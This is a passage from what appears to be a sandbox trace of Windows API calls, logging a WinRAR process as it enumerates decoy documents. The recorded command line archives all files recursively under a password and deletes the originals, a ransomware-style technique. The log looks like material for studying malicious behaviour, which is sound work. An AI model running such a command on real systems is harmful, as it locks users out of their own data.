(in: hWnd=0x1023e, lpRect=0x141a0f0f10 | out: lpRect=0x141a0f0f10) returned 1 [0061.276] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0f0eb0 | out: lpRect=0x141a0f0eb0) returned 0 [0061.276] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0f0eb0 | out: lpRect=0x141a0f0eb0) returned 0 [0061.276] MoveWindow (hWnd=0x102f2, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0061.276] IsIconic (hWnd=0x1023e) returned 0 [0061.276] GetClientRect (in: hWnd=0x1023e, lpRect=0x141a0f0e90 | out: lpRect=0x141a0f0e90) returned 1 [0061.276] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0f0e30 | out: lpRect=0x141a0f0e30) returned 0 [0061.276] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0f0e30 | out: lpRect=0x141a0f0e30) returned 0 [0061.276] MoveWindow (hWnd=0x102f2, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0061.309] NtdllDefWindowProc_W () returned 0x1 [0061.309] CreatePen (iStyle=0, cWidth=1, color=0x606060) returned 0x53007f3 [0061.309] CreatePen (iStyle=0, cWidth=1, color=0x80809e) returned 0x3007f4 [0061.309] CreatePen (iStyle=0, cWidth=1, color=0xeee8e8) returned 0x3007f5 [0061.309] CreatePen (iStyle=0, cWidth=1, color=0xffffff) returned 0x3007f6 [0061.309] CreatePen (iStyle=0, cWidth=1, color=0xc0ffff) returned 0x3007f7 [0061.309] CreatePen (iStyle=0, cWidth=1, color=0xb4d4e4) returned 0x3007f8 [0061.309] CreatePen (iStyle=0, cWidth=1, color=0x9494b4) returned 0x3007f9 [0061.309] CreatePen (iStyle=0, cWidth=1, color=0x464040) returned 0x3007fa [0061.309] CreateSolidBrush (color=0x6e6e94) returned 0x1007fb [0061.309] CreateSolidBrush (color=0xdcd6d6) returned 0x1007fc [0061.309] CreateSolidBrush (color=0xa0c0d0) returned 0x1007fd [0061.310] PostMessageW (hWnd=0x102f8, Msg=0x8008, wParam=0x0, lParam=0x1) returned 1 [0061.311] GetSystemMetrics (nIndex=49) returned 16 [0061.311] GetSystemMetrics (nIndex=50) returned 16 [0061.311] LoadImageW (hInst=0x7ff6f74d0000, name=0x65, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x50077 [0061.312] SendMessageW (hWnd=0x102f8, Msg=0x80, wParam=0x0, lParam=0x50077) returned 0x0 [0061.312] GetSystemMetrics (nIndex=11) returned 32 [0061.312] GetSystemMetrics (nIndex=12) returned 32 [0061.312] LoadImageW (hInst=0x7ff6f74d0000, name=0x65, type=0x1, cx=32, cy=32, fuLoad=0x0) returned 0x10301 [0061.313] SendMessageW (hWnd=0x102f8, Msg=0x80, wParam=0x1, lParam=0x10301) returned 0x0 [0061.313] GetStartupInfoW (in: lpStartupInfo=0x141a0f5e70 | out: lpStartupInfo=0x141a0f5e70*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x100ec0002)) [0061.313] ShowWindow (hWnd=0x102f8, nCmdShow=5) returned 0 [0061.314] GetWindowLongPtrW (hWnd=0x102f8, nIndex=-16) returned 0x84ca08cc [0061.314] NtdllDefWindowProc_W () returned 0x0 [0061.408] SetDlgItemTextW (hDlg=0x102f8, nIDDlgItem=165, lpString="Documents.rar") returned 1 [0061.484] GetWindowTextW (in: hWnd=0x102f8, lpString=0x7ff6f7672480, nMaxCount=2176 | out: lpString="Preparing files...") returned 18 [0061.484] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0f5a20, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0061.485] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0061.485] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0f45d0, nMaxCount=2560 | out: lpString="") returned 0 [0061.485] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0061.485] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0f45d0, nMaxCount=2560 | out: lpString="") returned 0 [0061.485] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0061.485] GetTickCount () returned 0x254cd [0061.485] UpdateWindow (hWnd=0x102f8) returned 1 [0061.485] GetPropW (hWnd=0x102f8, lpString="Done") returned 0x0 [0061.485] BeginPaint (in: hWnd=0x102f8, lpPaint=0x141a0f3d60 | out: lpPaint=0x141a0f3d60) returned 0x10105d6 [0061.485] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0061.485] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0f3410 | out: lpPerformanceCount=0x141a0f3410*=15281397310) returned 1 [0061.485] RtlWakeAllConditionVariable () returned 0x7ff931fa6090 [0061.485] GetLastError () returned 0x2 [0061.486] SetLastError (dwErrCode=0x2) [0061.486] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0061.486] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0061.486] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0f1ff0, nMaxCount=2560 | out: lpString="") returned 0 [0061.486] SetWindowTextW (hWnd=0x10302, lpString=" 0%") returned 1 [0061.489] ShowWindow (hWnd=0x10304, nCmdShow=9) returned 0 [0061.492] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0062.052] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0f3410 | out: lpPerformanceCount=0x141a0f3410*=15338057145) returned 1 [0062.052] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0f3428 | out: ppv=0x141a0f3428*=0x1162e88a370) returned 0x0 [0062.056] TaskbarList:ITaskbarList3:SetProgressState (This=0x1162e88a370, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0062.057] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1162e88a370, hwnd=0x102f8, ullCompleted=0x0, ullTotal=0x1) returned 0x0 [0062.057] TaskbarList:IUnknown:Release (This=0x1162e88a370) returned 0x0 [0062.057] GetLastError () returned 0x7f [0062.057] SetLastError (dwErrCode=0x7f) [0062.057] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0062.057] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0062.057] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0f1ff0, nMaxCount=2560 | out: lpString="") returned 0 [0062.057] SetWindowTextW (hWnd=0x10318, lpString=" 0%") returned 1 [0062.107] GetLastError () returned 0x0 [0062.107] SetLastError (dwErrCode=0x0) [0062.107] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0062.107] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0f1ff0, nMaxCount=2560 | out: lpString="") returned 0 [0062.107] SetWindowTextW (hWnd=0x10314, lpString=" 0%") returned 1 [0062.107] ShowWindow (hWnd=0x1031a, nCmdShow=9) returned 0 [0062.108] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0062.109] EndPaint (hWnd=0x102f8, lpPaint=0x141a0f3d60) returned 1 [0062.129] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x40) returned 0x1162e889210 [0062.129] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x33608) returned 0x116301fbf60 [0062.130] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x100000) returned 0x11631b8e040 [0062.133] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10c0) returned 0x1162e88c910 [0062.133] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x10c0) returned 0x1162e88d9e0 [0062.135] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e890d70 [0062.135] FindFirstFileW (in: lpFileName="*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e87f2f0 [0062.135] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.135] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="-3PSVPdo1rq8.docx", cchCount2=-1) returned 3 [0062.419] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xc00) returned 0x1162e88eab0 [0062.419] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x24) returned 0x1162e88a940 [0062.419] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1) returned 3 [0062.419] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x24) returned 0x1162e88a6d0 [0062.419] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="5YJHRW-JZoT5E S09D.pptx", cchCount2=-1) returned 3 [0062.419] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86e070 [0062.419] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1) returned 3 [0062.419] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1c) returned 0x1162e88a730 [0062.419] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.419] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="8CFpoZ DqeCI.doc", cchCount2=-1) returned 3 [0062.419] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x22) returned 0x1162e88a370 [0062.420] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv", cchCount2=-1) returned 3 [0062.420] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x26) returned 0x1162e88a460 [0062.420] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e892da0 [0062.420] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e87f350 [0062.420] FindNextFileW (in: hFindFile=0x1162e87f350, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.420] FindNextFileW (in: hFindFile=0x1162e87f350, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.420] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="-4NjCVEIvkCBj.docx", cchCount2=-1) returned 3 [0062.420] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4c) returned 0x1162e87f3b0 [0062.420] FindNextFileW (in: hFindFile=0x1162e87f350, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.421] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1) returned 1 [0062.421] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x58) returned 0x1162e895000 [0062.421] FindNextFileW (in: hFindFile=0x1162e87f350, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.421] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="qfqeMqDF", cchCount2=-1) returned 1 [0062.421] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x38) returned 0x1162e86def0 [0062.421] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e895de0 [0062.421] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e895900 [0062.421] FindNextFileW (in: hFindFile=0x1162e895900, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.421] FindNextFileW (in: hFindFile=0x1162e895900, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.421] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="-mjM.xlsx", cchCount2=-1) returned 3 [0062.421] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4c) returned 0x1162e8953c0 [0062.421] FindNextFileW (in: hFindFile=0x1162e895900, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.421] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="35mJ-.pdf", cchCount2=-1) returned 3 [0062.421] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4c) returned 0x1162e8952a0 [0062.421] FindNextFileW (in: hFindFile=0x1162e895900, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.422] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="3jMLs-qdS.docx", cchCount2=-1) returned 3 [0062.422] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x56) returned 0x1162e894e20 [0062.422] FindNextFileW (in: hFindFile=0x1162e895900, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.422] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="5HLd-s", cchCount2=-1) returned 3 [0062.422] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x46) returned 0x1162e888d10 [0062.422] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e897e10 [0062.422] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e895a80 [0062.422] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.422] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.422] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="BTQU2WOZsFUjw.pdf", cchCount2=-1) returned 3 [0062.422] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6a) returned 0x1162e8758c0 [0062.422] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.422] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="cA7tY- cuM.pptx", cchCount2=-1) returned 3 [0062.422] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x66) returned 0x1162e7fa170 [0062.422] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.422] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Q9 7uahS", cchCount2=-1) returned 1 [0062.423] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x58) returned 0x1162e894f40 [0062.423] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e899e40 [0062.423] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e894fa0 [0062.423] FindNextFileW (in: hFindFile=0x1162e894fa0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.423] FindNextFileW (in: hFindFile=0x1162e894fa0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.423] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="1q4uHOxj.odt", cchCount2=-1) returned 3 [0062.423] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.423] GetLastError () returned 0x0 [0062.423] SetLastError (dwErrCode=0x0) [0062.423] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0d48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.423] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0062.423] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0d3450, nMaxCount=2560 | out: lpString="") returned 0 [0062.423] SetWindowTextW (hWnd=0x102fe, lpString="12 files found") returned 1 [0062.424] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0062.424] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0d3450, nMaxCount=2560 | out: lpString="") returned 0 [0062.424] GetTickCount () returned 0x25876 [0062.424] UpdateWindow (hWnd=0x102f8) returned 1 [0062.424] PeekMessageW (in: lpMsg=0x141a0d4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0d4c40) returned 1 [0062.428] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="MENUACC") returned 0x30311 [0062.429] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="LISTACC") returned 0x40327 [0062.429] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="FILEACC") returned 0x1033f [0062.429] LoadAcceleratorsW (hInstance=0x7ff6f74d0000, lpTableName="VIEWACC") returned 0x10341 [0062.429] GetMessageW (in: lpMsg=0x141a0d4bd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0d4bd0) returned 1 [0062.429] GetFocus () returned 0x1031c [0062.429] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0d4bd0) returned 0 [0062.429] GetKeyState (nVirtKey=16) returned 0 [0062.429] TranslateAcceleratorW (hWnd=0x102f8, hAccTable=0x1033f, lpMsg=0x141a0d4bd0) returned 0 [0062.429] TranslateMessage (lpMsg=0x141a0d4bd0) returned 0 [0062.429] DispatchMessageW (lpMsg=0x141a0d4bd0) returned 0x0 [0062.429] NtdllDefWindowProc_W () returned 0x0 [0062.429] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.429] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x72) returned 0x1162e875440 [0062.429] FindNextFileW (in: hFindFile=0x1162e894fa0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Kin6ms4WyJhH.xlsx", cchCount2=-1) returned 1 [0062.430] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x7c) returned 0x1162e7f49d0 [0062.430] FindNextFileW (in: hFindFile=0x1162e894fa0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="KzP2.csv", cchCount2=-1) returned 1 [0062.430] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6a) returned 0x1162e875b40 [0062.430] FindNextFileW (in: hFindFile=0x1162e894fa0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="mbQ0b7o.ots", cchCount2=-1) returned 1 [0062.430] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x70) returned 0x1162e875e40 [0062.430] FindNextFileW (in: hFindFile=0x1162e894fa0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="ww2bCvn.csv", cchCount2=-1) returned 1 [0062.430] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x70) returned 0x1162e875ec0 [0062.430] FindNextFileW (in: hFindFile=0x1162e894fa0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.430] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="_fBJ yDh9e.ods", cchCount2=-1) returned 3 [0062.430] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x76) returned 0x1162e8760c0 [0062.430] FindNextFileW (in: hFindFile=0x1162e894fa0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.430] GetLastError () returned 0x12 [0062.430] FindClose (in: hFindFile=0x1162e894fa0 | out: hFindFile=0x1162e894fa0) returned 1 [0062.431] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e899e40 | out: hHeap=0x1162e7c0000) returned 1 [0062.431] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="rDvRexnp0.xls", cchCount2=-1) returned 1 [0062.431] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x62) returned 0x1162e7f9a70 [0062.431] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="XGIfB05FTyHqB.xlsx", cchCount2=-1) returned 1 [0062.431] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6c) returned 0x1162e875bc0 [0062.431] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="XiqWm6izl6v FQ5Q.doc", cchCount2=-1) returned 1 [0062.431] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x70) returned 0x1162e876140 [0062.431] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="XXRZ1Ntz_m owLhUomX.rtf", cchCount2=-1) returned 1 [0062.431] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x76) returned 0x1162e8755c0 [0062.431] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="xZQ7e8.pptx", cchCount2=-1) returned 1 [0062.431] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x5e) returned 0x1162e7fa1e0 [0062.431] FindNextFileW (in: hFindFile=0x1162e895a80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.431] GetLastError () returned 0x12 [0062.431] FindClose (in: hFindFile=0x1162e895a80 | out: hFindFile=0x1162e895a80) returned 1 [0062.432] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e897e10 | out: hHeap=0x1162e7c0000) returned 1 [0062.432] FindNextFileW (in: hFindFile=0x1162e895900, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="eSCikz2YIWaDp58m1bY", cchCount2=-1) returned 1 [0062.432] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x60) returned 0x1162e7f96f0 [0062.432] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e897e10 [0062.432] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e894ee0 [0062.432] FindNextFileW (in: hFindFile=0x1162e894ee0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.432] FindNextFileW (in: hFindFile=0x1162e894ee0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="2NOJ5", cchCount2=-1) returned 3 [0062.432] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6c) returned 0x1162e875c40 [0062.432] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e899e40 [0062.432] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e895ae0 [0062.432] FindNextFileW (in: hFindFile=0x1162e895ae0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.432] FindNextFileW (in: hFindFile=0x1162e895ae0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="DLaLU5Np1FYR8L.ods", cchCount2=-1) returned 3 [0062.433] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x92) returned 0x1162e87ce30 [0062.433] FindNextFileW (in: hFindFile=0x1162e895ae0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="iOBweAZSY.ods", cchCount2=-1) returned 1 [0062.433] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x88) returned 0x1162e7f4a60 [0062.433] FindNextFileW (in: hFindFile=0x1162e895ae0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="lIHAtSXy", cchCount2=-1) returned 1 [0062.433] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x7e) returned 